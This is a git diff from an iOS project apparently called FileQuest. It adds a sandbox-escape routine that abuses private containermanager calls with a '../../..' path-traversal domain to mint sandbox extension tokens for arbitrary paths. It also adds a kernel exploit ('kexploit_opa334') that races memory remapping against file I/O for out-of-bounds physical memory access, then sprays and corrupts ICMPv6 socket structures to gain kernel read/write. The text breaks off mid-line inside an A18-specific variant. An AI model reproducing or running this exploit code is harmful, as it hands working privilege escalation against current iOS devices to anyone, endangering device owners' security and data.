0000000..fcadca5 --- /dev/null +++ b/fallback_query.m @@ -0,0 +1,120 @@ +// +// fallback_query.m +// FileQuest +// +// Fallback container-query access path for iOS 26.x and 27.x. The technique +// follows the part-domain traversal approach used by Veilpath +// (https://github.com/everettjf/veilpath) and bad_query +// (https://github.com/forcequitOS/bad_query). +// +// This program is free software: you can redistribute it and/or modify it +// under the terms of the GNU General Public License as published by the Free +// Software Foundation, either version 3 of the License, or (at your option) +// any later version. +// + +#import "fallback_query.h" + +#include +#include +#include +#include +#include +#include + +typedef void *(*container_query_create_fn)(void); +typedef void (*container_query_set_class_fn)(void *, uint64_t); +typedef void (*container_query_set_identifiers_fn)(void *, xpc_object_t); +typedef void (*container_query_set_flags_fn)(void *, uint64_t); +typedef void (*container_query_set_part_fn)(void *, uint64_t); +typedef void (*container_query_set_part_domain_fn)(void *, const char *); +typedef void *(*container_query_get_single_result_fn)(void *); +typedef void (*container_query_free_fn)(void *); +typedef char *(*container_copy_sandbox_token_fn)(void *); +typedef int64_t (*sandbox_extension_consume_fn)(const char *); + +int64_t fallback_query(NSString *target, bool alt_flags) { + if (target.length == 0 || ![target hasPrefix: @"/"]) return -255; + + struct stat st; + if (lstat(target.fileSystemRepresentation, &st) != 0) return -255; + + void *mgr = dlopen("/usr/lib/system/libsystem_containermanager.dylib", RTLD_NOW | RTLD_LOCAL); + if (!mgr) return -1; + + container_query_create_fn query_create = (container_query_create_fn)dlsym(mgr, "container_query_create"); + container_query_set_class_fn query_set_class = (container_query_set_class_fn)dlsym(mgr, "container_query_set_class"); + container_query_set_identifiers_fn query_set_group_identifiers = (container_query_set_identifiers_fn)dlsym(mgr, "container_query_set_group_identifiers"); + container_query_set_flags_fn query_set_flags = (container_query_set_flags_fn)dlsym(mgr, "container_query_operation_set_flags"); + container_query_set_part_fn query_set_part = (container_query_set_part_fn)dlsym(mgr, "container_query_operation_set_part"); + container_query_set_part_domain_fn query_set_part_domain = (container_query_set_part_domain_fn)dlsym(mgr, "container_query_operation_set_part_domain"); + container_query_get_single_result_fn query_get_single_result = (container_query_get_single_result_fn)dlsym(mgr, "container_query_get_single_result"); + container_query_free_fn query_free = (container_query_free_fn)dlsym(mgr, "container_query_free"); + container_copy_sandbox_token_fn copy_sandbox_token = (container_copy_sandbox_token_fn)dlsym(mgr, "container_copy_sandbox_token"); + sandbox_extension_consume_fn consume_extension = (sandbox_extension_consume_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_consume"); + + if (!query_create || !query_set_class || !query_set_group_identifiers || + !query_set_flags || !query_set_part || !query_set_part_domain || + !query_get_single_result || !query_free || !copy_sandbox_token || + !consume_extension) { + dlclose(mgr); + return -1; + } + + void *query = query_create(); + if (!query) { + dlclose(mgr); + return -2; + } + + xpc_object_t identifier = xpc_string_create("systemgroup.com.apple.mobilegestaltcache"); + if (!identifier) { + query_free(query); + dlclose(mgr); + return -5; + } + + query_set_class(query, 13); + query_set_group_identifiers(query, identifier); + query_set_part(query, 3); + + // The anchor container's Library/Caches is several levels below the data + // volume root. Climb out of it, then append the absolute target path. + const char *prefix = "../../../../../../../.."; + char *part = NULL; + if (asprintf(&part, "%s%s", prefix, target.fileSystemRepresentation) == -1) { + // ARC forbids xpc_release; the query owns/copies the identifier. + query_free(query); + dlclose(mgr); + return -5; + } + + query_set_part_domain(query, part); + query_set_flags(query, alt_flags ? 0x0000000800000000ULL : 0x0000008000000000ULL); + + void *result = query_get_single_result(query); + if (!result) { + free(part); + // ARC forbids xpc_release; the query owns/copies the identifier. + query_free(query); + dlclose(mgr); + return -3; + } + + char *token = copy_sandbox_token(result); + if (!token) { + free(part); + // ARC forbids xpc_release; the query owns/copies the identifier. + query_free(query); + dlclose(mgr); + return -4; + } + + int64_t handle = consume_extension(token); + free(token); + free(part); + // ARC forbids xpc_release; the query owns/copies the identifier. + query_free(query); + dlclose(mgr); + return handle; +} diff --git a/kexploit/kexploit_opa334.h b/kexploit/kexploit_opa334.h new file mode 100644 index 0000000..c9f377f --- /dev/null +++ b/kexploit/kexploit_opa334.h @@ -0,0 +1,17 @@ +#import +#import +#import +#import + +#define SYSTEM_VERSION_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedSame) +#define SYSTEM_VERSION_GREATER_THAN(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedDescending) +#define SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedAscending) +#define SYSTEM_VERSION_LESS_THAN(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedAscending) +#define SYSTEM_VERSION_LESS_THAN_OR_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedDescending) + +#define EARLY_KRW_LENGTH 0x20 +int kexploit_opa334(void); +uint64_t early_kread64(uint64_t where); +void early_kwrite64(uint64_t where, uint64_t what); +void early_kwrite32bytes(uint64_t where, uint8_t writeBuf[EARLY_KRW_LENGTH]); +void early_kread(uint64_t where, void *read_buf, size_t size); diff --git a/kexploit/kexploit_opa334.m b/kexploit/kexploit_opa334.m new file mode 100644 index 0000000..93f068b --- /dev/null +++ b/kexploit/kexploit_opa334.m @@ -0,0 +1,980 @@ +#import +#import +#import +#import +#import +#import +#import +#import +#define IPPROTO_ICMPV6 58 +#define ICMP6_FILTER 18 +#import +#import +#import +#import +#import + +#import "offsets.h" +#import "krw.h" +#import "kexploit_opa334.h" + +extern bool gIsPACSupported; + +extern bool gIsA18Above; + +void IOSurfacePrefetchPages(IOSurfaceRef surface); + +#define FAILURE(c) \ + { \ + fflush(stdout); \ + sleep(2); \ + exit(c); \ + } +#define PRINT_VAR(var) \ + { \ + printf(#var ": %#llx\n", var); \ + fflush(stdout); \ + sleep(2); \ + } + +#define OOB_OFFSET 0x100 +#define OOB_SIZE 0xf00 +#define OOB_PAGES_NUM 2 + +// xnu-11417.140.69/bsd/sys/proc_info.h +#define PROC_PIDFILEPORTSOCKETINFO 3 /* out: socket_fdinfo */ + +// xnu-11417.140.69/bsd/sys/proc_info_private.h +#define PROC_INFO_CALL_PIDFILEPORTINFO 0x6 + +#ifdef __arm64e__ +static uint64_t __attribute((naked)) __xpaci(uint64_t a) { + asm(".long 0xDAC143E0"); // XPACI X0 + asm("ret"); +} +#else +#define __xpaci(x) x +#endif + +void memset64(void *ptr, uint64_t val, size_t size) { + uint8_t *ptr8 = ptr; + for (uint64_t idx = 0; idx < size; idx += sizeof(uint64_t)) { + uint64_t *ptr64 = (uint64_t *)&ptr8[idx]; + *ptr64 = val; + } +} + +int readFd; +int writeFd; +kern_return_t mach_vm_map(vm_map_t target_task, mach_vm_address_t *address, + mach_vm_size_t size, mach_vm_offset_t mask, int flags, + mem_entry_name_port_t object, + memory_object_offset_t offset, boolean_t copy, + vm_prot_t cur_protection, vm_prot_t max_protection, + vm_inherit_t inheritance); +kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, + mach_vm_size_t size, int flags); +kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, + mach_vm_size_t size); + +int highestSuccessIdx = 0; +int successReadCount = 0; +struct iovec iov; +uint64_t randomMarker; +uint64_t wiredPageMarker; +mach_port_t pcObject = MACH_PORT_NULL; +mach_vm_address_t pcAddress = 0; +mach_vm_size_t pcSize; + +NSMutableArray *socketPorts; +NSMutableArray *socketPcbIds; +#define GETSOCKOPT_READ_LEN 32 +void *getsockoptReadData = NULL; + +volatile uint8_t goSync = 0; +volatile uint8_t raceSync = 0; +volatile uint8_t freeThreadStart = 0; +volatile mach_vm_address_t freeTarget = 0; +volatile mach_vm_size_t freeTargetSize = 0; +volatile mem_entry_name_port_t targetObject = 0; +volatile memory_object_offset_t targetObjectOffset = 0; + +NSMutableDictionary *gMlockDict; + +int controlSocket = 0; +int rwSocket = 0; +uint64_t controlSocketPcb = 0; +uint64_t rwSocketPcb = 0; +uint8_t controlData[EARLY_KRW_LENGTH]; + +void setTargetKaddr(uint64_t where) { + memset(controlData, 0, EARLY_KRW_LENGTH); + *(uint64_t *)controlData = where; + int res = setsockopt(controlSocket, IPPROTO_ICMPV6, ICMP6_FILTER, + controlData, EARLY_KRW_LENGTH); + if (res != 0) { + printf("[-] setsockopt failed!!!\n"); + FAILURE(0); + } +} + +#define TARGET_FILE_SIZE (PAGE_SIZE * 0x2) +void *default_file_content; +char executablePath[PATH_MAX]; +const char *executableName; + +pthread_t freeThread; + +void init_globals(void) { + socketPorts = [NSMutableArray new]; + socketPcbIds = [NSMutableArray new]; + getsockoptReadData = calloc(1, GETSOCKOPT_READ_LEN); + gMlockDict = [NSMutableDictionary new]; + default_file_content = calloc(1, TARGET_FILE_SIZE); + randomMarker = (uint64_t)arc4random() << 32 | arc4random(); + wiredPageMarker = (uint64_t)arc4random() << 32 | arc4random(); +} + +void create_target_file(const char *path) { + FILE *f = fopen(path, "w"); + fwrite(default_file_content, 1, TARGET_FILE_SIZE, f); + fclose(f); +} + +void init_target_file() { + char *read_file_path = calloc(1, 1024); + char *write_file_path = calloc(1, 1024); + confstr(_CS_DARWIN_USER_TEMP_DIR, read_file_path, 1024); + confstr(_CS_DARWIN_USER_TEMP_DIR, write_file_path, 1024); + + char read_file_name[100]; + char write_file_name[100]; + snprintf(read_file_name, 100, "/%u", arc4random()); + snprintf(write_file_name, 100, "/%u", arc4random()); + + strcat(read_file_path, read_file_name); + strcat(write_file_path, write_file_name); + + create_target_file(read_file_path); + create_target_file(write_file_path); + + readFd = open(read_file_path, O_RDWR); + writeFd = open(write_file_path, O_RDWR); + + printf("[+] readFd: %d\n", readFd); + printf("[+] writeFd: %d\n", writeFd); + + remove(read_file_path); + remove(write_file_path); + fcntl(readFd, F_NOCACHE, 1); + fcntl(writeFd, F_NOCACHE, 1); +} + +void *free_thread(void *arg) { + while (freeThreadStart == 0) + ; + + while (goSync == 0) + ; + + while (goSync != 0) { + while (raceSync == 0) + ; + + kern_return_t kr = + mach_vm_map(mach_task_self(), &freeTarget, freeTargetSize, 0, + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, targetObject, + targetObjectOffset, 0, VM_PROT_DEFAULT, VM_PROT_DEFAULT, + VM_INHERIT_NONE); + + if (kr != KERN_SUCCESS) { + printf("[-] mach_vm_map failed !!!\n"); + printf("[+] freeTarget: %#llx\n", freeTarget); + printf("[+] targetObject: %#x\n", targetObject); + FAILURE(0); + } + + raceSync = 0; + } + + return NULL; +} + +fileport_t spray_socket(NSMutableArray *socketPorts, + NSMutableArray *socketPcbIds) { + pthread_set_qos_class_self_np(QOS_CLASS_BACKGROUND, 0); + + int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_ICMPV6); + if (fd == -1) { + printf("[-] socket create failed!!!"); + return fd; + } + pthread_set_qos_class_self_np(QOS_CLASS_USER_INITIATED, 0); + + fileport_t outputSocketPort = 0; + fileport_makeport(fd, &outputSocketPort); + close(fd); + + void *socketInfo = calloc(1, 0x400); + int r = syscall(SYS_proc_info, PROC_INFO_CALL_PIDFILEPORTINFO, getpid(), PROC_PIDFILEPORTSOCKETINFO, outputSocketPort, socketInfo, 0x400); + uint64_t inp_gencnt = *(uint64_t *)((uintptr_t)socketInfo + 0x110); + + [socketPorts addObject:@(outputSocketPort)]; + [socketPcbIds addObject:@(inp_gencnt)]; + return outputSocketPort; +} + +void sockets_release(NSMutableArray *socketPorts, + NSMutableArray *socketPcbIds) { + while (socketPorts.lastObject) { + mach_port_deallocate( + mach_task_self(), + ((NSNumber *)socketPorts.lastObject).unsignedIntValue); + [socketPorts removeLastObject]; + [socketPcbIds removeLastObject]; + } +} + +IOSurfaceRef create_surface_with_address(uint64_t address, uint64_t size) { + IOSurfaceRef surface = IOSurfaceCreate((__bridge CFDictionaryRef) @{ + @"IOSurfaceAddress" : @(address), + @"IOSurfaceAllocSize" : @(size) + }); + + IOSurfacePrefetchPages(surface); + + return surface; +} + +void surface_mlock(uint64_t address, uint64_t size) { + gMlockDict[@(address)] = + (__bridge id)create_surface_with_address(address, size); +} + +void surface_munlock(uint64_t address, uint64_t size) { + IOSurfaceRef ref = (__bridge IOSurfaceRef)gMlockDict[@(address)]; + if (ref) { + CFRelease(ref); + [gMlockDict removeObjectForKey:@(address)]; + } +} + +void pe_init(void) { + init_target_file(); + + if (!executableName) { + uint32_t sz = PATH_MAX; + _NSGetExecutablePath(executablePath, &sz); + executableName = strrchr(executablePath, '/'); + if (executableName) { + executableName++; + } else { + executableName = executablePath; + } + } + + pthread_attr_t pattr; + pthread_attr_init(&pattr); + pthread_attr_set_qos_class_np(&pattr, QOS_CLASS_USER_INITIATED, 0); + pthread_create(&freeThread, &pattr, free_thread, NULL); +} + +void create_physically_contiguous_mapping(mach_port_t *port, + mach_vm_address_t *address, + mach_vm_size_t size) { + NSDictionary *params = @{ + (__bridge id)kIOSurfaceAllocSize : @(size), + @"IOSurfaceMemoryRegion" : @"PurpleGfxMem", + }; + + IOSurfaceRef surface = IOSurfaceCreate((__bridge CFDictionaryRef)params); + + if (!surface) { + printf("[-] Failed to create surface!!!\n"); + FAILURE(0); + } + + void *physicalMappingAddress = IOSurfaceGetBaseAddress(surface); + printf("[+] physicalMappingAddress: %p\n", physicalMappingAddress); + + mach_port_t memoryObject; + kern_return_t kr = mach_make_memory_entry_64( + mach_task_self(), &size, (mach_vm_address_t)physicalMappingAddress, + VM_PROT_DEFAULT, &memoryObject, 0); + if (!surface) { + printf("[-] mach_make_memory_entry_64 failed!!!\n"); + FAILURE(0); + } + + mach_vm_address_t newMappingAddress; + kr = mach_vm_map(mach_task_self(), &newMappingAddress, size, 0, + VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR, memoryObject, 0, + 0, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE); + + if (kr != KERN_SUCCESS) { + printf("[-] mach_vm_map failed!!!\n"); + FAILURE(0); + } + + CFRelease(surface); + *port = memoryObject; + *address = newMappingAddress; +} + +void initialize_physical_read_write(uint64_t contiguous_mapping_size) { + pcSize = contiguous_mapping_size; + create_physically_contiguous_mapping(&pcObject, &pcAddress, pcSize); + printf("[+] pcObject: %u\n", pcObject); + printf("[+] pcAddress: %#llx\n", pcAddress); + memset64((void *)pcAddress, randomMarker, pcSize); + freeTarget = pcAddress, freeTargetSize = pcSize; + freeThreadStart = 1; + goSync = 1; +} + +kern_return_t physical_oob_read_mo(mach_port_t memoryObject, + mach_vm_offset_t memoryObjectOffset, + mach_vm_size_t size, mach_vm_offset_t offset, + void *buffer) { + targetObject = memoryObject; + targetObjectOffset = memoryObjectOffset; + iov.iov_base = (void *)(pcAddress + 0x3f00); + iov.iov_len = offset + size; + *(uint64_t *)buffer = randomMarker; + *(uint64_t *)(pcAddress + 0x3f00 + offset) = randomMarker; + + bool readRaceSucceeded = false; + int w = 0; + for (int tryIdx = 0; tryIdx < highestSuccessIdx + 100; tryIdx++) { + raceSync = 1; + w = pwritev(readFd, &iov, 1, 0x3f00); + while (raceSync == 1) + ; + + kern_return_t kr = + mach_vm_map(mach_task_self(), &pcAddress, pcSize, 0, + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, pcObject, 0, 0, + VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE); + if (kr != KERN_SUCCESS) { + printf("[+] mach_vm_map failed!!!\n"); + FAILURE(0); + } + if (w == -1) { + int r = pread(readFd, buffer, size, 0x3f00 + offset); + uint64_t marker = *(uint64_t *)buffer; + if (marker != randomMarker) { + readRaceSucceeded = true; + successReadCount++; + if (tryIdx > highestSuccessIdx) { + highestSuccessIdx = tryIdx; + } + break; + } else { + usleep(1); + } + } + if (tryIdx == 500) { + break; + } + } + targetObject = 0; + if (!readRaceSucceeded) + return 1; + return KERN_SUCCESS; +} + +kern_return_t physical_oob_read_mo_with_retry( + mach_port_t memoryObject, mach_vm_offset_t memoryObjectOffset, + mach_vm_size_t size, mach_vm_offset_t offset, void *buffer) { + kern_return_t kr; + do { + kr = physical_oob_read_mo(memoryObject, memoryObjectOffset, size, + offset, buffer); + } while (kr != KERN_SUCCESS); + return kr; +} + +void physical_oob_write_mo(mach_port_t memoryObject, + mach_vm_offset_t memoryObjectOffset, + mach_vm_size_t size, mach_vm_offset_t offset, + void *buffer) { + targetObject = memoryObject; + targetObjectOffset = memoryObjectOffset; + iov.iov_base = (void *)(pcAddress + 0x3f00); + iov.iov_len = offset + size; + + pwrite(writeFd, buffer, size, 0x3f00 + offset); + for (int tryIdx = 0; tryIdx < 20; tryIdx++) { + raceSync = 1; + preadv(writeFd, &iov, 1, 0x3f00); + while (raceSync == 1) + ; + kern_return_t kr = + mach_vm_map(mach_task_self(), &pcAddress, pcSize, 0, + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, pcObject, 0, 0, + VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE); + + if (kr != KERN_SUCCESS) { + printf("[-] mach_vm_map failed!!!\n"); + FAILURE(0); + } + } + targetObject = 0; +} + +void set_target_kaddr(uint64_t where) { + memset(controlData, 0, EARLY_KRW_LENGTH); + *(uint64_t *)controlData = where; + int res = setsockopt(controlSocket, IPPROTO_ICMPV6, ICMP6_FILTER, + controlData, EARLY_KRW_LENGTH); + if (res != 0) { + printf("[-] setsockopt failed!!!"); + FAILURE(0); + } +} + +void early_kread(uint64_t where, void *read_buf, size_t size) { + if(!is_kaddr_valid(where)) { + printf("[%s:%d] kaddr isn't valid, spinning here. kaddr: 0x%llx\n", __FUNCTION__, __LINE__, where); + + void *bt[64]; int n = backtrace(bt, 64); + char **s = backtrace_symbols(bt, n); + for (int i = 0; i < n; i++) printf(" #%d %s\n", i, s[i]); + free(s); + + *(int *)1 = 0; // make crash intentionally + } + + if (size > EARLY_KRW_LENGTH) { + printf("[!] error: (size > EARLY_KRW_LENGTH)\n"); + FAILURE(0); + } + set_target_kaddr(where); + socklen_t read_data_length = (socklen_t)size; + int res = getsockopt(rwSocket, IPPROTO_ICMPV6, ICMP6_FILTER, read_buf, &read_data_length); + if (res != 0) { + printf("[-] getsockopt failed!!!\n"); + + void *bt[64]; int n = backtrace(bt, 64); + char **s = backtrace_symbols(bt, n); + for (int i = 0; i < n; i++) printf(" #%d %s\n", i, s[i]); + free(s); + + *(int *)1 = 0; // make crash intentionally + FAILURE(0); + } +} + +uint64_t early_kread64(uint64_t where) { + uint64_t value = 0; + early_kread(where, &value, sizeof(value)); + return value; +} + +void early_kwrite32bytes(uint64_t where, uint8_t writeBuf[EARLY_KRW_LENGTH]) { + set_target_kaddr(where); + int res = setsockopt(rwSocket, IPPROTO_ICMPV6, ICMP6_FILTER, writeBuf, EARLY_KRW_LENGTH); + if (res != 0) { + printf("[-] setsockopt failed!!!"); + FAILURE(0); + } +} + +void early_kwrite64(uint64_t where, uint64_t what) { + uint8_t writeBuf[EARLY_KRW_LENGTH]; + early_kread(where, writeBuf, EARLY_KRW_LENGTH); + *(uint64_t *)writeBuf = what; + early_kwrite32bytes(where, writeBuf); +} + +int find_and_corrupt_socket(mach_port_t memoryObject, mach_vm_offset_t seekingOffset, void *readBuffer, void *writeBuffer, NSMutableArray *targetInpGencntList, bool doRead) { + if (doRead) { + physical_oob_read_mo_with_retry(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, readBuffer); + } + + int searchStartIdx = 0; + bool targetFound = false; + uint64_t pcbStartOffset = 0; + void *found = NULL; + do { + found = memmem(readBuffer + searchStartIdx, OOB_SIZE - searchStartIdx, executableName, strlen(executableName)); + if (found) { + pcbStartOffset = + ((uint64_t)found - (uint64_t)readBuffer) & 0xFFFFFFFFFFFFFC00; + if (*(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + off_inpcb_inp_depend6_inp6_chksum) == 0x0000ffffffffffffULL) { + targetFound = true; + break; + } + } + searchStartIdx += 0x400; + } while (found != NULL && searchStartIdx < OOB_SIZE); + + if (targetFound) { + printf("[+] pcbStartOffset: %#llx\n", pcbStartOffset); + uint64_t targetInpGencnt = + *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + 0x78); + printf("[+] targetInpGencnt: %#llx\n", targetInpGencnt); + if (targetInpGencnt == socketPcbIds.lastObject.unsignedLongLongValue) { + printf("[-] Found last PCB\n"); + return -1; + } + bool isOurPcd = false; + int controlSocketIdx = 0; + for (int sockIdx = 0; sockIdx < socketPorts.count; sockIdx++) { + if (socketPcbIds[sockIdx].unsignedLongLongValue == + targetInpGencnt) { + isOurPcd = true; + controlSocketIdx = sockIdx; + break; + } + } + if (!isOurPcd) { + printf("[-] Found freed PCB Page!\n"); + return -1; + } + if ([targetInpGencntList containsObject:@(targetInpGencnt)]) { + printf("[-] Found old PCB Page!!!!\n"); + return -1; + } else { + [targetInpGencntList addObject:@(targetInpGencnt)]; + } + uint64_t inpListNextPointer = *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + 0x28) - 0x20; + uint64_t icmp6Filter = *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + off_inpcb_inp_depend6_inp6_icmp6filt); + printf("[+] inpListNextPointer: %#llx\n", inpListNextPointer); + printf("[+] icmp6Filter: %#llx\n", icmp6Filter); + rwSocketPcb = inpListNextPointer; + memcpy(writeBuffer, readBuffer, OOB_SIZE); + *(uint64_t *)((uintptr_t)writeBuffer + pcbStartOffset + off_inpcb_inp_depend6_inp6_icmp6filt) = inpListNextPointer + off_inpcb_inp_depend6_inp6_icmp6filt; + *(uint64_t *)((uintptr_t)writeBuffer + pcbStartOffset + off_inpcb_inp_depend6_inp6_chksum) = 0; + + // breakpoint: if you can get here without panic (not 100% successful), + // at least it proves that OOB physical readings are working. + // access to physmap does not appear to be protected by MTE (xnu source). + printf("[*] MTE checkpoint: OOB physical read/write reached without panic\n"); + NSLog(@"[*] MTE checkpoint: OOB physical read/write reached without panic"); + + printf("[+] Corrupting icmp6filter pointer...\n"); + while (true) { + physical_oob_write_mo(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, writeBuffer); + physical_oob_read_mo_with_retry(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, readBuffer); + uint64_t newIcmp6Filter = + *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + off_inpcb_inp_depend6_inp6_icmp6filt); + if (newIcmp6Filter == + inpListNextPointer + off_inpcb_inp_depend6_inp6_icmp6filt) { + printf("[+] target corrupted: %#llx\n", + *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + off_inpcb_inp_depend6_inp6_icmp6filt)); + break; + } + } + int sock = fileport_makefd( + (fileport_t)socketPorts[controlSocketIdx].unsignedLongLongValue); + socklen_t len = GETSOCKOPT_READ_LEN; + int res = getsockopt(sock, IPPROTO_ICMPV6, ICMP6_FILTER, + getsockoptReadData, &len); + if (res != 0) { + printf("[-] getsockopt failed!!!\n"); + + void *bt[64]; int n = backtrace(bt, 64); + char **s = backtrace_symbols(bt, n); + for (int i = 0; i < n; i++) printf(" #%d %s\n", i, s[i]); + free(s); + + *(int *)1 = 0; // make crash intentionally + FAILURE(0); + } + uint64_t marker = *(uint64_t *)getsockoptReadData; + if (marker != -1) { + printf("[+] Found control_socket at idx: %u\n", controlSocketIdx); + controlSocket = sock; + rwSocket = + fileport_makefd((fileport_t)socketPorts[controlSocketIdx + 1] + .unsignedLongLongValue); + return KERN_SUCCESS; + } else { + printf("[-] Failed to corrupt control_socket at idx: %u\n", + controlSocketIdx); + } + } + return -1; +} + +bool isA18Device = false; + +void pe_v1(void) { + uint64_t totalSearchMappingPagesNum = isA18Device ? (0x10 * 0x10) : (0x1000 * 0x10); + uint64_t searchMappingSize = isA18Device ? (0x10 * PAGE_SIZE) : (0x2000 * PAGE_SIZE); + uint64_t totalSearchMappingSize = totalSearchMappingPagesNum * PAGE_SIZE; + uint64_t searchMappingNum = totalSearchMappingSize / searchMappingSize; + + printf("[i] totalSearchMappingPagesNum: %#llx\n", + totalSearchMappingPagesNum); + printf("[i] searchMappingSize: %#llx\n", searchMappingSize); + printf("[i] totalSearchMappingSize: %#llx\n", totalSearchMappingSize); + printf("[i] searchMappingNum: %#llx\n", searchMappingNum); + + void *readBuffer = calloc(1, OOB_SIZE); + void *writeBuffer = calloc(1, OOB_SIZE); + initialize_physical_read_write(OOB_PAGES_NUM * PAGE_SIZE); + mach_vm_address_t wiredMapping = 0; + mach_vm_size_t wiredMappingSize = 1024ULL * 1024ULL * 1024ULL * 3ULL; + kern_return_t kr = KERN_SUCCESS; + if (isA18Device) { + kr = mach_vm_allocate(mach_task_self(), &wiredMapping, wiredMappingSize, VM_FLAGS_ANYWHERE); + printf("[+] wiredMapping: %#llx\n", wiredMapping); + } + NSMutableArray *targetInpGencntList = [NSMutableArray new]; + while (true) { + if (isA18Device) { + surface_mlock(wiredMapping, wiredMappingSize); + for (int s = 0; s < (wiredMappingSize / 0x4000); s++) { + *(uint64_t *)(wiredMapping + s * PAGE_SIZE) = 0; + } + } + NSMutableArray *searchMappings = [NSMutableArray new]; + for (uint64_t s = 0; s < searchMappingNum; s++) { + mach_vm_address_t searchMappingAddress = 0; + kr = mach_vm_allocate(mach_task_self(), &searchMappingAddress, searchMappingSize, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR); + if (kr != KERN_SUCCESS) { + printf("[-] mach_vm_allocate failed!!!\n"); + FAILURE(0); + } + for (int k = 0; k < searchMappingSize; k += PAGE_SIZE) { + *(uint64_t *)(searchMappingAddress + k) = randomMarker; + } + [searchMappings addObject:@(searchMappingAddress)]; + } + socketPorts = [NSMutableArray new]; + socketPcbIds = [NSMutableArray new]; + unsigned socketPortsCount = 0; +#define OPEN_MAX 10240 + int maxfiles = OPEN_MAX * 3; + int leeway = 4096 * 2; + for (unsigned socketCount = 0; socketCount < (maxfiles - leeway); + socketCount++) { + mach_port_t port = spray_socket(socketPorts, socketPcbIds); + if (port == -1) { + printf("[-] Failed to spray sockets: %u\n", socketCount); + break; + } else { + socketPortsCount++; + } + } + uint64_t startPcbId = socketPcbIds.firstObject.unsignedLongLongValue; + uint64_t endPcbId = socketPcbIds.lastObject.unsignedLongLongValue; + printf("[i] socketPortsCount: %u\n", socketPortsCount); + printf("[i] startPcbId: %llu\n", startPcbId); + printf("[i] endPcbId: %llu\n", endPcbId); + bool success = false; + for (uint64_t s = 0; s < searchMappingNum; s++) { + mach_vm_address_t searchMappingAddress = + searchMappings[s].unsignedLongLongValue; + printf("[i] looking in search mapping: %llu\n", s); + mach_port_t memoryObject = 0; + mach_vm_size_t memoryObjectSize = searchMappingSize; + kr = mach_make_memory_entry_64(mach_task_self(), &memoryObjectSize, searchMappingAddress, VM_PROT_DEFAULT, &memoryObject, 0); + if (kr != KERN_SUCCESS) { + printf("[-] mach_make_memory_entry_64 failed!!!"); + FAILURE(0); + } + surface_mlock(searchMappingAddress, searchMappingSize); + mach_vm_offset_t seekingOffset = 0; + while (seekingOffset < searchMappingSize) { + kr = physical_oob_read_mo(memoryObject, seekingOffset, OOB_SIZE, + OOB_OFFSET, readBuffer); + if (kr == KERN_SUCCESS) { + if (find_and_corrupt_socket(memoryObject, seekingOffset, + readBuffer, writeBuffer, + targetInpGencntList, + false) == KERN_SUCCESS) { + success = true; + break; + } + } + seekingOffset += PAGE_SIZE; + } + kr = mach_port_deallocate(mach_task_self(), memoryObject); + if (kr != KERN_SUCCESS) { + printf("[-] mach_port_deallocate failed!!!\n"); + FAILURE(0); + } + if (success == true) { + break; + } + } + sockets_release(socketPorts, socketPcbIds); + for (uint64_t s = 0; s < searchMappingNum; s++) { + mach_vm_address_t searchMappingAddress = + searchMappings.lastObject.unsignedLongLongValue; + [searchMappings removeLastObject]; + kr = mach_vm_deallocate(mach_task_self(), searchMappingAddress, + searchMappingSize); + } + if (isA18Device) { + surface_munlock(wiredMapping, wiredMappingSize); + } + if (success == true) { + break; + } + } +} + +void pe_v2(void) { + // A18-specific exploit path: "wired page marker" technique. + // Allocates 2GB of individually wired pages tagged with markers, + // then scans physical memory via OOB read. When a tagged page is found, + // deallocates it and sprays sockets into the freed physical page. + // This targeted approach replaces pe_v1's brute-force mass spray. + // Ported from DarkSword-RCE pe_main.js pe_v2() (lines 1151-1278). + + void *readBuffer = calloc(1, OOB_SIZE); + void *writeBuffer = calloc(1, OOB_SIZE); + initialize_physical_read_write(OOB_PAGES_NUM * PAGE_SIZE); + + mach_vm_size_t wiredEntrySize = PAGE_SIZE; + mach_vm_size_t wiredTotalSize = 1024ULL * 1024ULL * 1024ULL * 2ULL; // 2GB + uint64_t nWiredEntries = wiredTotalSize / wiredEntrySize; + + printf("[i] pe_v2: Allocating %llu wired pages (2GB)...\n", nWiredEntries); + + // Array to track wired page addresses + NSMutableArray *wiredAddrs = [[NSMutableArray alloc] initWithCapacity:(NSUInteger)nWiredEntries]; + + kern_return_t kr = KERN_SUCCESS; + mach_vm_address_t wiredAddr = 0; + + for (uint64_t i = 0; i < nWiredEntries; i++) { + if (i == 0) { + kr = mach_vm_allocate(mach_task_self(), &wiredAddr, wiredEntrySize, VM_FLAGS_ANYWHERE); + if (kr != KERN_SUCCESS) { + printf("[-] pe_v2: initial mach_vm_allocate failed\n"); + FAILURE(0); + } + } else { + // Allocate contiguously after the last page + mach_vm_address_t nextAddr = wiredAddrs.lastObject.unsignedLongLongValue + wiredEntrySize; + do { + wiredAddr = nextAddr; + kr = mach_vm_allocate(mach_task_self(), &wiredAddr, wiredEntrySize, VM_FLAGS_FIXED); + nextAddr += wiredEntrySize; + } while (kr != KERN_SUCCESS); + } + [wiredAddrs 